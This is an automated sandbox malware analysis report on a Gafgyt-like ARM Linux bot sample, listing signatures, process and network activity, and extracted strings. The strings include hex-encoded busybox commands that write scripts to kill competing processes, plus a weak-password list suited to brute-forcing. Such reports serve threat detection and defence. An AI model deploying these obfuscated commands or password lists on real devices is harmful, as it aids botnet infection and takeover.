Edit tour

Linux Analysis Report
arm5.elf

Overview

General Information

Sample name:arm5.elf
Analysis ID:1654246
MD5:20d4f292bdef2ab2fe9a9e5536e30c4a
SHA1:08298cfdc037526fe7ae00bb07cf8b412d7c59f8
SHA256:eb09fec08cf6ce8e7739472573f5ad429e81c7cbb407cf298c6806d035418907
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100

Signatures

Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings indicative of password brute-forcing capabilities
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1654246
Start date and time:2025-04-02 07:32:16 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 50s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arm5.elf
Detection:MAL
Classification:mal48.linELF@0/4@0/0
Command:/tmp/arm5.elf
PID:6255
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
For God so loved the world
Standard Error:
  • system is lnxubuntu20
  • arm5.elf (PID: 6255, Parent: 6176, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm5.elf
    • arm5.elf New Fork (PID: 6261, Parent: 6255)
  • dash New Fork (PID: 6257, Parent: 4331)
  • rm (PID: 6257, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.iPi1LN4aMW /tmp/tmp.OY7SGIF0Z3 /tmp/tmp.SGeFbkuwGU
  • dash New Fork (PID: 6258, Parent: 4331)
  • rm (PID: 6258, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.iPi1LN4aMW /tmp/tmp.OY7SGIF0Z3 /tmp/tmp.SGeFbkuwGU
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: arm5.elfVirustotal: Detection: 42%Perma Link
Source: arm5.elfReversingLabs: Detection: 41%
Source: /tmp/arm5.elf (PID: 6261)Socket: 127.0.0.1:22448Jump to behavior
Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x77\x68\x69\x6c\x65\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x3b\x20\x64\x6f\x20\x6d\x70\x3d\x24\x28\x65\x63\x68\x6f\x20\x22\x24" > kmount
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x6c\x22\x20\x7c\x20\x61\x77\x6b\x20\x27\x7b\x70\x72\x69\x6e\x74\x20\x24\x32\x7d\x27\x20\x7c\x20\x73\x65\x64\x20\x27\x73\x2f\x5c" >> kmount
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x5c\x30\x34\x30\x2f\x20\x2f\x67\x27\x29\x3b\x20\x63\x61\x73\x65\x20\x22\x24\x6d\x70\x22\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f" >> kmount
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x5b\x30\x2d\x39\x5d\x2a\x29\x20\x70\x69\x64\x3d\x24\x7b\x6d\x70\x23\x2f\x70\x72\x6f\x63\x2f\x7d\x3b\x20\x5b\x20\x2d\x64\x20\x22" >> kmount
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x2f\x70\x72\x6f\x63\x2f\x24\x70\x69\x64\x22\x20\x5d\x20\x26\x26\x20\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x22\x20" >> kmount
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26\x26\x20\x75\x6d\x6f\x75\x6e\x74\x20\x22\x24\x6d\x70\x22\x20\x32\x3e\x2f\x64" >> kmount
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x2f\x70\x72\x6f\x63\x2f\x6d\x6f\x75" >> kmount
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x6e\x74\x73" >> kmount
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x6e\x75\x6d\x3d\x22\x24\x7b\x70\x69\x64\x23\x23\x2a\x2f\x7d\x22\x3b\x20\x69\x66\x20\x5b\x20\x2d\x72\x20\x22\x24\x70\x69\x64\x2f" >> swan
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x6d\x61\x70\x73\x22\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x74\x72\x75\x65\x3b\x20\x77" >> swan
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x68\x69\x6c\x65\x20\x49\x46\x53\x3d\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x69\x6e\x65\x3b\x20\x64\x6f\x20\x63\x61\x73\x65\x20" >> swan
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x22\x24\x6c\x69\x6e\x65\x22\x20\x69\x6e\x20\x2a\x22\x2f\x6c\x69\x62\x2f\x22\x2a\x7c\x2a\x22\x2f\x6c\x69\x62\x36\x34\x2f\x22\x2a" >> swan
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x7c\x2a\x22\x2e\x73\x6f\x22\x2a\x29\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x66\x61\x6c\x73\x65\x3b\x20\x62\x72\x65\x61" >> swan
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x6b\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x22\x24\x70\x69\x64\x2f\x6d\x61\x70\x73\x22\x3b\x20\x69\x66" >> swan
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x20\x5b\x20\x22\x24\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x22\x20\x3d\x20\x74\x72\x75\x65\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20" >> swan
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne "\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x5f\x6e\x75\x6d\x22\x3b\x20\x66\x69\x3b\x20\x66\x69\x3b\x20\x64\x6f\x6e\x65" >> swan
Source: Initial sampleString containing 'busybox' found: sh kmount/bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan
Source: Initial sampleString containing potential weak password found: 12345
Source: Initial sampleString containing potential weak password found: 54321
Source: Initial sampleString containing potential weak password found: 654321
Source: Initial sampleString containing potential weak password found: admin1234
Source: Initial sampleString containing potential weak password found: administrator
Source: Initial sampleString containing potential weak password found: supervisor
Source: Initial sampleString containing potential weak password found: password
Source: Initial sampleString containing potential weak password found: default
Source: Initial sampleString containing potential weak password found: guest
Source: Initial sampleString containing potential weak password found: service
Source: Initial sampleString containing potential weak password found: support
Source: ELF static info symbol of initial sample.symtab present: no
Source: /tmp/arm5.elf (PID: 6255)SIGKILL sent: pid: 4431, result: successfulJump to behavior
Source: classification engineClassification label: mal48.linELF@0/4@0/0
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/6236/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/6236/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/6236/mapsJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/6236/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1582/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1582/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1582/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/3088/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/230/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/110/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/231/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/111/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/232/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1579/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1579/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1579/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/112/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/233/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1699/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1699/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1699/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/113/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/234/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1335/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1335/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1335/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1698/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1698/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1698/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/114/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/235/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1334/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1334/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1334/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1576/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1576/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1576/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/2302/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/2302/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/2302/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/115/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/236/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/116/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/237/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/117/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/118/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/910/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/119/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/912/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/912/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/912/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/10/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/2307/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/2307/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/2307/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/11/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/918/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/918/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/918/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/12/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/13/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/14/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/15/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/16/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/17/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/18/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1594/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1594/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1594/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/120/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/121/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1349/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1349/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1349/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1/mapsJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/122/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/243/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/123/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/2/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/124/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/3/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/4/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/125/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/126/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1344/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1344/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1344/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1465/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1465/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1465/mapsJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1465/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1586/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1586/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1586/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/127/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/6/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/248/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/128/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/249/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1463/cmdlineJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1463/fdJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1463/mapsJump to behavior
Source: /tmp/arm5.elf (PID: 6255)File opened: /proc/1463/cmdlineJump to behavior
Source: /usr/bin/dash (PID: 6257)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.iPi1LN4aMW /tmp/tmp.OY7SGIF0Z3 /tmp/tmp.SGeFbkuwGUJump to behavior
Source: /usr/bin/dash (PID: 6258)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.iPi1LN4aMW /tmp/tmp.OY7SGIF0Z3 /tmp/tmp.SGeFbkuwGUJump to behavior
Source: /tmp/arm5.elf (PID: 6255)Queries kernel information via 'uname': Jump to behavior
Source: arm5.elf, 6261.1.00007f9bcc039000.00007f9bcc040000.rw-.sdmpBinary or memory string: vmware
Source: arm5.elf, 6255.1.00007ffe616c5000.00007ffe616e6000.rw-.sdmp, arm5.elf, 6261.1.00007ffe616c5000.00007ffe616e6000.rw-.sdmpBinary or memory string: [x86_64/usr/bin/qemu-arm/tmp/arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.elf
Source: arm5.elf, 6261.1.00007ffe616c5000.00007ffe616e6000.rw-.sdmpBinary or memory string: tUqemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm5.elf, 6255.1.00007ffe616c5000.00007ffe616e6000.rw-.sdmpBinary or memory string: /tmp/qemu-open.TIPeS9
Source: arm5.elf, 6255.1.00007f9bcc039000.00007f9bcc040000.rw-.sdmp, arm5.elf, 6261.1.00007f9bcc039000.00007f9bcc040000.rw-.sdmpBinary or memory string: qemu-arm
Source: arm5.elf, 6255.1.0000557485091000.00005574851e0000.rw-.sdmp, arm5.elf, 6261.1.0000557485091000.00005574851e0000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: arm5.elf, 6255.1.00007ffe616c5000.00007ffe616e6000.rw-.sdmp, arm5.elf, 6261.1.00007ffe616c5000.00007ffe616e6000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
Source: arm5.elf, 6255.1.0000557485091000.00005574851e0000.rw-.sdmp, arm5.elf, 6261.1.0000557485091000.00005574851e0000.rw-.sdmpBinary or memory string: tU!/etc/qemu-binfmt/arm
Source: arm5.elf, 6261.1.00007ffe616c5000.00007ffe616e6000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm5.elf, 6255.1.00007ffe616c5000.00007ffe616e6000.rw-.sdmpBinary or memory string: tU/tmp/qemu-open.TIPeS9:U
Source: arm5.elf, 6255.1.00007f9bcc039000.00007f9bcc040000.rw-.sdmp, arm5.elf, 6261.1.00007f9bcc039000.00007f9bcc040000.rw-.sdmpBinary or memory string: !!a1gAWFxuAXsFWUgBRQAA!!a1gAWFxuAXsAWUgKRXgA!!a1gAWFxuAXsAWEgJR3IA!!a10CWFxuAHsGWVcWQHAA!!a10CWFxuAHsGWVcWQHUA!!aFwAWF9uA3sGW0gLRgAA!!aFwAWFlpG2QBW0gJTwAA!!qemu-arm2QBW0gJTwAA!
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath Interception1
File Deletion
1
OS Credential Dumping
11
Security Software Discovery
Remote ServicesData from Local System1
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkit1
Brute Force
Application Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1654246 Sample: arm5.elf Startdate: 02/04/2025 Architecture: LINUX Score: 48 15 109.202.202.202, 80 INIT7CH Switzerland 2->15 17 91.189.91.42, 443 CANONICAL-ASGB United Kingdom 2->17 19 91.189.91.43, 443 CANONICAL-ASGB United Kingdom 2->19 21 Multi AV Scanner detection for submitted file 2->21 7 arm5.elf 2->7         started        9 dash rm 2->9         started        11 dash rm 2->11         started        signatures3 process4 process5 13 arm5.elf 7->13         started       
SourceDetectionScannerLabelLink
arm5.elf42%VirustotalBrowse
arm5.elf42%ReversingLabsLinux.Backdoor.Gafgyt
No Antivirus matches
No Antivirus matches
No Antivirus matches

Download Network PCAP: filteredfull

No contacted domains info
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs
IPDomainCountryFlagASNASN NameMalicious
109.202.202.202
unknownSwitzerland
13030INIT7CHfalse
91.189.91.43
unknownUnited Kingdom
41231CANONICAL-ASGBfalse
91.189.91.42
unknownUnited Kingdom
41231CANONICAL-ASGBfalse
MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
109.202.202.202kpLwzBouH4.elfGet hashmaliciousUnknownBrowse
  • ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43rjfe686.elfGet hashmaliciousUnknownBrowse
    aarch64.elfGet hashmaliciousMiraiBrowse
      sh4.elfGet hashmaliciousUnknownBrowse
        efefa7.elfGet hashmaliciousMiraiBrowse
          mips.elfGet hashmaliciousUnknownBrowse
            na.elfGet hashmaliciousPrometeiBrowse
              eehah4.elfGet hashmaliciousUnknownBrowse
                sh4.elfGet hashmaliciousUnknownBrowse
                  mips.elfGet hashmaliciousUnknownBrowse
                    arm5.elfGet hashmaliciousUnknownBrowse
                      91.189.91.42rjfe686.elfGet hashmaliciousUnknownBrowse
                        aarch64.elfGet hashmaliciousMiraiBrowse
                          sh4.elfGet hashmaliciousUnknownBrowse
                            efefa7.elfGet hashmaliciousMiraiBrowse
                              mips.elfGet hashmaliciousUnknownBrowse
                                na.elfGet hashmaliciousPrometeiBrowse
                                  eehah4.elfGet hashmaliciousUnknownBrowse
                                    sh4.elfGet hashmaliciousUnknownBrowse
                                      mips.elfGet hashmaliciousUnknownBrowse
                                        arm5.elfGet hashmaliciousUnknownBrowse
                                          No context
                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                          CANONICAL-ASGBrjfe686.elfGet hashmaliciousUnknownBrowse
                                          • 91.189.91.42
                                          na.elfGet hashmaliciousPrometeiBrowse
                                          • 185.125.190.26
                                          aarch64.elfGet hashmaliciousMiraiBrowse
                                          • 91.189.91.42
                                          vejfa5.elfGet hashmaliciousUnknownBrowse
                                          • 185.125.190.26
                                          sh4.elfGet hashmaliciousUnknownBrowse
                                          • 91.189.91.42
                                          efefa7.elfGet hashmaliciousMiraiBrowse
                                          • 91.189.91.42
                                          mips.elfGet hashmaliciousUnknownBrowse
                                          • 91.189.91.42
                                          na.elfGet hashmaliciousPrometeiBrowse
                                          • 91.189.91.42
                                          eehah4.elfGet hashmaliciousUnknownBrowse
                                          • 91.189.91.42
                                          sh4.elfGet hashmaliciousUnknownBrowse
                                          • 91.189.91.42
                                          CANONICAL-ASGBrjfe686.elfGet hashmaliciousUnknownBrowse
                                          • 91.189.91.42
                                          na.elfGet hashmaliciousPrometeiBrowse
                                          • 185.125.190.26
                                          aarch64.elfGet hashmaliciousMiraiBrowse
                                          • 91.189.91.42
                                          vejfa5.elfGet hashmaliciousUnknownBrowse
                                          • 185.125.190.26
                                          sh4.elfGet hashmaliciousUnknownBrowse
                                          • 91.189.91.42
                                          efefa7.elfGet hashmaliciousMiraiBrowse
                                          • 91.189.91.42
                                          mips.elfGet hashmaliciousUnknownBrowse
                                          • 91.189.91.42
                                          na.elfGet hashmaliciousPrometeiBrowse
                                          • 91.189.91.42
                                          eehah4.elfGet hashmaliciousUnknownBrowse
                                          • 91.189.91.42
                                          sh4.elfGet hashmaliciousUnknownBrowse
                                          • 91.189.91.42
                                          INIT7CHrjfe686.elfGet hashmaliciousUnknownBrowse
                                          • 109.202.202.202
                                          aarch64.elfGet hashmaliciousMiraiBrowse
                                          • 109.202.202.202
                                          sh4.elfGet hashmaliciousUnknownBrowse
                                          • 109.202.202.202
                                          efefa7.elfGet hashmaliciousMiraiBrowse
                                          • 109.202.202.202
                                          mips.elfGet hashmaliciousUnknownBrowse
                                          • 109.202.202.202
                                          na.elfGet hashmaliciousPrometeiBrowse
                                          • 109.202.202.202
                                          eehah4.elfGet hashmaliciousUnknownBrowse
                                          • 109.202.202.202
                                          sh4.elfGet hashmaliciousUnknownBrowse
                                          • 109.202.202.202
                                          mips.elfGet hashmaliciousUnknownBrowse
                                          • 109.202.202.202
                                          arm5.elfGet hashmaliciousUnknownBrowse
                                          • 109.202.202.202
                                          No context
                                          No context
                                          Process:/tmp/arm5.elf
                                          File Type:ASCII text
                                          Category:dropped
                                          Size (bytes):355
                                          Entropy (8bit):3.81996122576392
                                          Encrypted:false
                                          SSDEEP:6:M6gDFz0SD/VUk/FYDFz06UPj/V/3VVyAb/rVmsVot/VOArB/VH:3YB0SSMQB0fFVIAbyl
                                          MD5:AEEBB6258B8B5830A38DB8AA2BC9014F
                                          SHA1:FF0164B9E950A9E795318A1F31492A7D6E791EBA
                                          SHA-256:8A288BE8EEDD247F0836A9E1D045E543721F5B34A6CB1237AC14BAF4A77BABF0
                                          SHA-512:0DEFA177A5C90D9912AE8791C5EBB8975ED9A5432CA7E874F9AF8FE1A27558C0975C5076BBFDE5A202BD38CBA62FE950A0807411E9459F9C352D6492CCEBAE51
                                          Malicious:false
                                          Reputation:low
                                          Preview:8000-22000 r-xp 00000000 fd:00 531606 /tmp/arm5.elf.29000-2a000 rw-p 00019000 fd:00 531606 /tmp/arm5.elf.2a000-31000 rw-p 00000000 00:00 0 .ff7ee000-ff7ef000 r--p 00000000 fd:00 793309 /usr/lib/x86_64-linux-gnu/libm-2.31.so.ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].
                                          Process:/tmp/arm5.elf
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):14
                                          Entropy (8bit):3.521640636343319
                                          Encrypted:false
                                          SSDEEP:3:TggLAJ5:Tgg03
                                          MD5:A737667E3E61E716C83359F35BC141DA
                                          SHA1:E7C3DBC96B90E28F18CFB1CADE0C7AF673FFAA57
                                          SHA-256:2D8A0F430A3339E16B223D653251534539D95B1DF7142834F68D9172B1656E37
                                          SHA-512:0ACAFC3F3F40EDEF3D9F2F1CCE09BAF5004FD8488434F4903F18B9B7E77B4A6CDF7F84A47856CB2FDAA4B1B0F70FC2A3EDDE82BD29831FF54CB75F4E4C74FE74
                                          Malicious:false
                                          Reputation:moderate, very likely benign file
                                          Preview:/tmp/arm5.elf.
                                          Process:/tmp/arm5.elf
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):14
                                          Entropy (8bit):3.521640636343319
                                          Encrypted:false
